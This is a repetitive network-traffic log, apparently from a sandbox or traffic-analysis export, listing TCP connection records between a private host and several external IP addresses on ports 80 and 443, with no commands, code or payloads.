Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 198.46.178.134:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 198.46.178.134:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.46.178.134:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.46.178.134:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.46.178.134:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.206.46:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
